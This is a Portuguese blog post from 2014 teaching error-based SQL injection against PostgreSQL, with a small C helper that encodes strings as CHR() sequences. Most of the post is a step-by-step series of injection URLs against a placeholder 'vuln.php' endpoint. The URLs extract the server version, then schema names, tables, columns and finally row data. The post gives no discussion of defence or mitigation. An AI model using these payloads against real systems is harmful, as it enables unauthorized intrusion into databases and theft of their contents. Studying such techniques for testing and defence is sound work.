terça-feira, 8 de julho de 2014

SQL Injection em PostgreSQL



O método de exploração que eu utilizo no vídeo é error-based , através de um erro proposital na query
o sgdb retorna os valores dos databases,tabelas,colunas e linhas , o erro ocorre quando transformo
text em int.

Obtendo versão:

xxxxxxx.com/vuln.php?id=15 and 1=cast((select version())::text as int)--

Current database:

xxxxxxx.com/vuln.php?id=15 and 1=cast((select current_schema())::text as int)--

Numero de databases:

xxxxxxx.com/vuln.php?id=15 and 1=cast( (CHR(60)) ||(select count(*) from information_schema.schemata)::text as int)--

Obtendo nomes dos databases:

xxxxxxx.com/vuln.php?id=15 and 1=cast((select schema_name from information_schema.schemata limit 1 offset 0)::text as int)--

o numero 0 deve ser incrementado , assim voce obtem os nomes de outros databases:

xxxxxxx.com/vuln.php?id=15 and 1=cast((select schema_name from information_schema.schemata limit 1 offset 1)::text as int)--
--- offset 2
--- offset 3

e assim em diante ...

Obtendo numero de tabelas de um db:

para obter o numero de tabelas de um db e outras informações , voce precisa codificar o nome do database , por exemplo , "mmxm" seria:

CHR(109) || CHR(109) || CHR(120) || CHR(109)

fiz um script pra auxiliar essa tarefa:
#include <stdio.h>

int main(int argc,char **argv){
 if(argc != 2)
  return(1);

 const char *s;
 for(s=argv[1];*s;++s);

 unsigned int i,size = (s - argv[1]);

 for(i=0;i<size;i++)
  printf( ( (i!=(size-1)) ? "CHR(%d) || " : "CHR(%d)"),argv[1][i] );

 return 0;
}

uso:
$ ./chr valor
CHR(118) || CHR(97) || CHR(108) || CHR(111) || CHR(114)

Query:
xxxxxxx.com/vuln.php?id=15 and 1=cast( (CHR(60)) ||(select count(*) from information_schema.tables where table_schema=CHR(109) || CHR(109) || CHR(120) || CHR(109))::text as int)--

Obtendo tabelas do db 'mmxm':

xxxxxxx.com/vuln.php?id=15 and 1=cast((select table_name from information_schema.tables where table_schema=CHR(109) || CHR(109) || CHR(120) || CHR(109) limit 1 offset 0)::text as int)--

Lembrando sempre que offset 0 deve ser incrementado para se obter outros valores !!!
--- offset 1
--- offset 3
etc ...

Obtendo colunas de uma tabela especifica:

Para obter as colunas de uma tabela , é o mesmo esquema visto anteriormente , so muda uma coisa , agora vc precisa especificar o nome da tabela,
suponhamos que o nome da tabela é "estado".

$ ./chr estado

Injection:

xxxxxxx.com/vuln.php?id=15 and 1=cast((select column_name from information_schema.columns where table_schema=CHR(109) || CHR(109) || CHR(120) || CHR(109)
and table_name =CHR(101) || CHR(115) || CHR(116) || CHR(97) || CHR(100) || CHR(111) limit 1 offset 0)::text as int)--


Obtendo valores das colunas:

Por ultimo , mas nao menos importante>

xxxxxxx.com/vuln.php?id=15 and 1=cast((select campo_da_coluna from DB_name.tabela)::text as int)--




Nenhum comentário:

Postar um comentário